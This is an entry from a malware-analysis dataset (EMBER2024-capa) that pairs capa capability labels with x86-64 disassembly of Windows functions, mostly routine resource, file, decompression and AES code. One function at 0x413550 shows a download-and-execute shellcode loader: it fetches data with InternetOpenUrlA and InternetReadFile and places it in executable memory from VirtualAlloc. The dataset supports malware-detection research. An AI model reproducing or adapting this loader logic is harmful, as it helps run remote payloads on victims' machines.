joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x40140b
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rbx, rax
je 0x40144f
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x40144a
cmp rbx, r11
jae 0x40144f
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x401438
cmp rbx, r11
jb 0x401453
xor eax, eax
jmp 0x40145f
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret

Function at 0x4032b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov eax, r8d
mov qword [rsp + 0x70], rsi
mov rsi, rdx
shr eax, 4
add ax, 1
mov ebx, r8d
mov rbp, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
mov r12, rax
je 0x403425
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x403425
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rdi, rax
je 0x403425
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rdi
and ebx, 0xf
jbe 0x403356
nop
cmp rdi, r11
jae 0x403425
add ebx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x403340
cmp rdi, r11
jae 0x403425
movzx eax, word [rdi]
test ax, ax
je 0x403425
mov qword [rsp + 0x48], r13
movzx ebx, ax
call qword [0x004837c0]
xor r13d, r13d
lea r12, [rdi + 2]
mov r9d, ebx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ecx, eax
mov r8, r12
xor edx, edx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rbp]
mov edx, 1
movsxd rsi, eax
sub edx, dword [rcx - 8]
mov ecx, dword [rcx - 0xc]
sub ecx, esi
or edx, ecx
jge 0x4033c6
mov edx, esi
mov rcx, rbp
call fcn.00402e90
mov rbx, qword [rbp]
movzx edi, word [rdi]
call qword [0x004837c0]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ecx, eax
mov r9d, edi
mov r8, r12
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test esi, esi
mov r13, qword [rsp + 0x48]
js 0x40341a
mov rcx, qword [rbp]
cmp esi, dword [rcx - 0xc]
jg 0x40341a
mov dword [rcx - 0x10], esi
mov rcx, qword [rbp]
mov eax, 1
mov byte [rsi + rcx], 0
jmp 0x403427
mov ecx, 0x80070057
call fcn.00401000
int3
xor eax, eax
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x58
ret
Function at 0x406dc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
sub rsp, 0x218
mov rax, qword [0x00481e98]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
xor eax, eax
mov qword [r11 - 8], rbx
mov qword [r11 - 0x10], rbp
mov qword [r11 - 0x18], rsi
mov qword [r11 - 0x20], rdi
mov qword [r11 - 0x30], r13
xor edi, edi
mov ebp, r9d
mov ebx, r8d
mov r13, rcx
mov qword [rcx + 0x18], rdx
mov qword [rsp + 0x50], rax
mov qword [rcx + 0x28], rdi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.WINMM.dll_mixerGetNumDevs]
test eax, eax
je 0x406e6f
mov rax, qword [r13 + 0x18]
lea rcx, [r13 + 0x28]
xor r9d, r9d
mov r8d, dword [rax + 0x40]
xor edx, edx
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.WINMM.dll_mixerOpen]
test eax, eax
jne 0x406fe4
mov ecx, dword [r13 + 0x28]
lea r8d, [rdi + 0x30]
lea rdx, [rsp + 0x50]
call qword [sym.imp.WINMM.dll_mixerGetDevCapsA]
test eax, eax
jne 0x406fe4
mov rcx, qword [r13 + 0x28]
test rcx, rcx
je 0x406fe4
lea rdx, [rsp + 0x80]
mov r8d, 0x80000003
mov dword [rsp + 0x80], 0xac
mov dword [rsp + 0x9c], ebx
call qword [sym.imp.WINMM.dll_mixerGetLineInfoA]
test eax, eax
jne 0x406fe4
cmp ebp, 0xffffffff
mov qword [rsp + 0x1f0], r12
je 0x406f31
mov ebx, dword [rsp + 0xa4]
mov r12d, dword [rsp + 0x84]
test ebx, ebx
je 0x406f31
nop
nop
mov rcx, qword [r13 + 0x28]
lea rdx, [rsp + 0x80]
mov r8d, 0x80000001
mov dword [rsp + 0x80], 0xac
mov dword [rsp + 0x84], r12d
mov dword [rsp + 0x88], edi
call qword [sym.imp.WINMM.dll_mixerGetLineInfoA]
test eax, eax
je 0x406f19
lea rcx, str.GetLinInfo_Resource_faile_
xor r8d, r8d
xor edx, edx
call fcn.004148c4
jmp 0x406f2a
cmp dword [rsp + 0x9c], ebp
je 0x406f31
cmp edi, ebx
je 0x407024
add edi, 1
cmp edi, ebx
jb 0x406ed0
mov eax, dword [rsp + 0xa0]
mov rcx, qword [r13 + 0x28]
lea rdx, [rsp + 0x30]
mov dword [r13 + 0x10], eax
mov eax, dword [rsp + 0x8c]
mov r8d, 0x80000002
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x240]
mov dword [rsp + 0x30], 0x1c
mov dword [rsp + 0x38], eax
lea rax, [rsp + 0x130]
mov dword [rsp + 0x3c], 1
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x40], DllRegisterServer
call qword [sym.imp.WINMM.dll_mixerGetLineControlsA]
test eax, eax
jne 0x406fdc
xor eax, eax
lea rdi, [rsp + 0x154]
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x154]
not rcx
lea r8d, [rcx - 1]
lea rcx, [r13 + 8]
call fcn.00403450
mov eax, dword [rsp + 0x194]
mov edx, dword [rsp + 0x134]
mov dword [r13 + 0x20], eax
mov eax, dword [rsp + 0x198]
mov dword [r13 + 0x14], edx
mov dword [r13 + 0x24], eax
mov r12, qword [rsp + 0x1f0]
mov r13, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x1f8]
mov rsi, qword [rsp + 0x200]
mov rbp, qword [rsp + 0x208]
mov rbx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.0043dbf0
add rsp, 0x218
ret
lea rcx, str.GetLinInfo_Resource_faile_
xor r8d, r8d
xor edx, edx
call fcn.004148c4
jmp 0x406fdc
Function at 0x413550
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
mov rax, rsp
sub rsp, 0x98
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x60]
call fcn.0040d880
cmp qword [rax + 0x20], 0x10
jb 0x413581
mov rcx, qword [rax + 8]
jmp 0x413585
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x00483a30], rax
cmp qword [rsp + 0x58], 0x10
jb 0x4135a4
mov rcx, qword [rsp + 0x40]
call fcn.004139b0
lea rcx, [rsp + 0x60]
call fcn.0040e3d0
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.0040cb20
nop
cmp qword [rbx + 0x20], 0x10
jb 0x4135c9
mov rbx, qword [rbx + 8]
jmp 0x4135cd
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x4135da
mov rdx, qword [rax + 8]
jmp 0x4135de
lea rdx, [rax + 8]
mov rcx, qword [0x00483a30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
mov rcx, rbx
call rax
mov qword [0x00483a40], rax
cmp qword [rsp + 0x58], 0x10
jb 0x413618
mov rcx, qword [rsp + 0x40]
call fcn.004139b0
mov qword [rsp + 0x58], SafeArrayGetDim
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x413640
mov rcx, qword [rsp + 0x68]
call fcn.004139b0
lea rcx, [rsp + 0x60]
call fcn.0040ec00
cmp qword [rax + 0x20], 0x10
jb 0x413657
mov rdx, qword [rax + 8]
jmp 0x41365b
lea rdx, [rax + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x00483a40]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [0x00483a38], rax
cmp qword [rsp + 0x80], 0x10
jb 0x413697
mov rcx, qword [rsp + 0x68]
call fcn.004139b0
mov dword [0x00483acc], 4
lea rcx, [rsp + 0x60]
call fcn.00410c20
nop
cmp qword [rax + 0x20], 0x10
jb 0x4136b9
mov rdx, qword [rax + 8]
jmp 0x4136bd
lea rdx, [rax + 8]
mov rcx, qword [0x00483a30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rdi
lea r9, [0x00483acc]
lea r8, [0x00483ac8]
mov edx, 0x20000005
mov rcx, qword [0x00483a38]
call rax
nop
cmp qword [rsp + 0x80], 0x10
jb 0x413701
mov rcx, qword [rsp + 0x68]
call fcn.004139b0
mov ecx, dword [0x00483ac8]
call fcn.004139b8
mov qword [0x00483ac0], rax
lea r9, [0x00483ad0]
mov r8d, dword [0x00483ac8]
mov rdx, rax
mov rcx, qword [0x00483a38]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [0x00483ac8]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x00483a48], rax
mov r8d, dword [0x00483ac8]
mov rdx, qword [0x00483ac0]
mov rcx, rax
mov rbx, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xb8]
add rsp, 0x98
jmp fcn.004401b0
Function at 0x417284
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x4172ba
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x417371
call fcn.004223a8
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x4172d9
mov ecx, 0x80004005
call fcn.00401000
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x50]
call qword [rax + 0x118]
mov rdx, rsi
mov rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x50]
mov rcx, rdi
call fcn.00440ce0
test eax, eax
je 0x417344
cmp eax, 0xc
je 0x41733e
cmp eax, 0x16
je 0x417338
cmp eax, 0x22
je 0x417338
cmp eax, 0x50
je 0x417344
call fcn.00413af8
int3
call fcn.00413af8
int3
call fcn.00413ab0
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x41736f
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.oledlg.dll_OleUIBusyA + 8]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x41ef78
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
test rdx, rdx
mov rsi, rdx
mov rbp, rcx
je 0x41efd2
call fcn.00415634
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x41efd2
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
mov rbx, rax
je 0x41eff4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.0041e9f8
test rdi, rdi
mov esi, eax
je 0x41eff2
test rbx, rbx
je 0x41eff2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
add rsp, 0x20
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x4404f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
test rcx, rcx
mov ebx, edx
jne 0x440536
call fcn.00440e60
mov dword [rax], 0
call fcn.00440e30
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
mov qword [rsp + 0x20], 0
call fcn.0043eff0
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
test edx, 0xfffffff9
jne 0x4404fd
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x440567
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.00440e90
call fcn.00440e30
mov ebx, dword [rax]
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
test al, 0x10
jne 0x44059b
test al, 1
je 0x44059b
test bl, 2
je 0x44059b
call fcn.00440e60
mov dword [rax], 5
call fcn.00440e30
mov dword [rax], SafeArrayGetDim
call fcn.00440e30
mov ebx, dword [rax]
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x443fd7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x00481e98]
jne 0x43dc0a
rol rcx, 0x10
test cx, 0xffff
jne 0x43dc06
repz ret
ror rcx, 0x10
jmp 0x443f30
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x004878d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x004879c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x443fb5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x004878d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x443fd7
mov rax, qword [rsp + 0x88]
mov qword [0x004879c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x00487968], rax
mov rax, qword [0x004879c8]
mov qword [0x00487840], rax
mov rax, qword [rsp + 0x90]
mov qword [0x00487950], rax
mov dword [0x00487830], 0xc0000409
mov dword [0x00487834], 1
mov rax, qword [0x00481e98]
mov qword [rsp + 0x68], rax
mov rax, qword [0x00481ea0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x004878c8], eax
mov ecx, 1
call fcn.00446220
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00467f78]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x004878c8], 0
jne 0x44405e
mov ecx, 1
call fcn.00446220
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x452220
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.00444370
xor ebx, ebx
cmp qword [0x004882e0], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x452351
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x452283
xor eax, eax
jmp 0x452431
lea rdx, [0x00468b80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x45227c
mov rcx, rax
call fcn.00444300
lea rdx, [0x00468b70]
mov rcx, rbp
mov qword [0x004882e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00444300
lea rdx, [0x00468b58]
mov rcx, rbp
mov qword [0x004882e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00444300
lea rcx, [rsp + 0x30]
mov qword [0x004882f0], rax
call fcn.00441c30
test eax, eax
je 0x452307
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.0043ef50
cmp dword [rsp + 0x30], 2
jne 0x452351
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00444300
test rax, rax
mov qword [0x00488300], rax
je 0x452351
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00444300
mov qword [0x004882f8], rax
mov rcx, qword [0x004882f8]
cmp rcx, rsi
je 0x4523e3
cmp qword [0x00488300], rsi
je 0x4523e3
call fcn.004443d0
call rax
test rax, rax
mov rbp, rax
je 0x4523ae
mov rcx, qword [0x00488300]
call fcn.004443d0
lea rcx, [rsp + 0x38]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x4523ae
test byte [rsp + 0x48], 1
jne 0x4523e3
lea rcx, [rsp + 0x34]
call fcn.00441c80
test eax, eax
je 0x4523d0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.0043ef50
cmp dword [rsp + 0x34], 4
jb 0x4523dd
bts edi, 0x15
jmp 0x452417
bts edi, 0x12
jmp 0x452417
mov rcx, qword [0x004882e8]
cmp rcx, rsi
je 0x452417
call fcn.004443d0
call rax
test rax, rax
mov rbx, rax
je 0x452417
mov rcx, qword [0x004882f0]
cmp rcx, rsi
je 0x452417
call fcn.004443d0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x004882e0]
call fcn.004443d0
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x140828058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1408281df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140828089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14082806f
add dl, dl
jne 0x140828096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408280f6
xor eax, eax
add dl, dl
jne 0x1408280a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408281ad
add dl, dl
jne 0x1408280b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408280c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408280d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408280dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408280ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14082807e
mov eax, 1
add dl, dl
jne 0x140828106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140828113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408280fb
sub eax, ebx
mov ebx, 1
jne 0x14082814c
mov ecx, 1
add dl, dl
jne 0x14082812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14082813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140828123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14082807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140828168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140828175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14082815d
cmp eax, 0x7d00
jae 0x14082819b
cmp eax, 0x500
jb 0x140828196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14082807e
cmp eax, 0x7f
ja 0x14082819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14082807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408281d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14082807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140011600
Capabilities:
Encode data using xor

Disassembly:
xor eax, dword [r15]
xor ebx, dword [r15 + 4]
xor ecx, dword [r15 + 8]
xor edx, dword [r15 + 0xc]
mov r13d, dword [r15 + 0xf0]
sub r13d, 1
jmp 0x140011620
movzx esi, al
movzx edi, bl
movzx ebp, cl
mov r10d, dword [r14 + rsi*8]
mov r11d, dword [r14 + rdi*8]
mov r12d, dword [r14 + rbp*8]
movzx esi, bh
movzx edi, ch
movzx ebp, dl
xor r10d, dword [r14 + rsi*8 + 3]
xor r11d, dword [r14 + rdi*8 + 3]
mov r8d, dword [r14 + rbp*8]
movzx esi, dh
shr ecx, 0x10
movzx ebp, ah
xor r12d, dword [r14 + rsi*8 + 3]
shr edx, 0x10
xor r8d, dword [r14 + rbp*8 + 3]
shr ebx, 0x10
lea r15, [r15 + 0x10]
shr eax, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
xor r10d, dword [r14 + rsi*8 + 2]
xor r11d, dword [r14 + rdi*8 + 2]
xor r12d, dword [r14 + rbp*8 + 2]
movzx esi, dh
movzx edi, ah
movzx ebp, bl
xor r10d, dword [r14 + rsi*8 + 1]
xor r11d, dword [r14 + rdi*8 + 1]
xor r8d, dword [r14 + rbp*8 + 2]
mov edx, dword [r15 + 0xc]
movzx edi, bh
movzx ebp, ch
mov eax, dword [r15]
xor r12d, dword [r14 + rdi*8 + 1]
xor r8d, dword [r14 + rbp*8 + 1]
mov ebx, dword [r15 + 4]
mov ecx, dword [r15 + 8]
xor eax, r10d
xor ebx, r11d
xor ecx, r12d
xor edx, r8d
sub r13d, 1
jne 0x140011620
movzx esi, al
movzx edi, bl
movzx ebp, cl
movzx r10d, byte [r14 + rsi*8 + 2]
movzx r11d, byte [r14 + rdi*8 + 2]
movzx r12d, byte [r14 + rbp*8 + 2]
movzx esi, dl
movzx edi, bh
movzx ebp, ch
movzx r8d, byte [r14 + rsi*8 + 2]
mov edi, dword [r14 + rdi*8]
mov ebp, dword [r14 + rbp*8]
and edi, 0xff00
and ebp, 0xff00
xor r10d, edi
xor r11d, ebp
shr ecx, 0x10
movzx esi, dh
movzx edi, ah
shr edx, 0x10
mov esi, dword [r14 + rsi*8]
mov edi, dword [r14 + rdi*8]
and esi, 0xff00
and edi, 0xff00
shr ebx, 0x10
xor r12d, esi
xor r8d, edi
shr eax, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
mov esi, dword [r14 + rsi*8]
mov edi, dword [r14 + rdi*8]
mov ebp, dword [r14 + rbp*8]
and esi, 0xff0000
and edi, 0xff0000
and ebp, 0xff0000
xor r10d, esi
xor r11d, edi
xor r12d, ebp
movzx esi, bl
movzx edi, dh
movzx ebp, ah
mov esi, dword [r14 + rsi*8]
mov edi, dword [r14 + rdi*8 + 2]
mov ebp, dword [r14 + rbp*8 + 2]
and esi, 0xff0000
and edi, 0xff000000
and ebp, 0xff000000
xor r8d, esi
xor r10d, edi
xor r11d, ebp
movzx esi, bh
movzx edi, ch
mov edx, dword [r15 + 0x1c]
mov esi, dword [r14 + rsi*8 + 2]
mov edi, dword [r14 + rdi*8 + 2]
mov eax, dword [r15 + 0x10]
and esi, 0xff000000
and edi, 0xff000000
xor r12d, esi
xor r8d, edi
mov ebx, dword [r15 + 0x14]
mov ecx, dword [r15 + 0x18]
xor eax, r10d
xor ebx, r11d
xor ecx, r12d
xor edx, r8d
repz ret
Function at 0x140011a60
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rax, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rax
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x140013400]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
call fcn.1400117f0
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov r13, qword [rsi - 0x20]
mov r12, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
mov rbx, qword [rsi - 8]
lea rsp, [rsi]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret

Function at 0x140011a6d
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rax, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rax
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x140013400]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
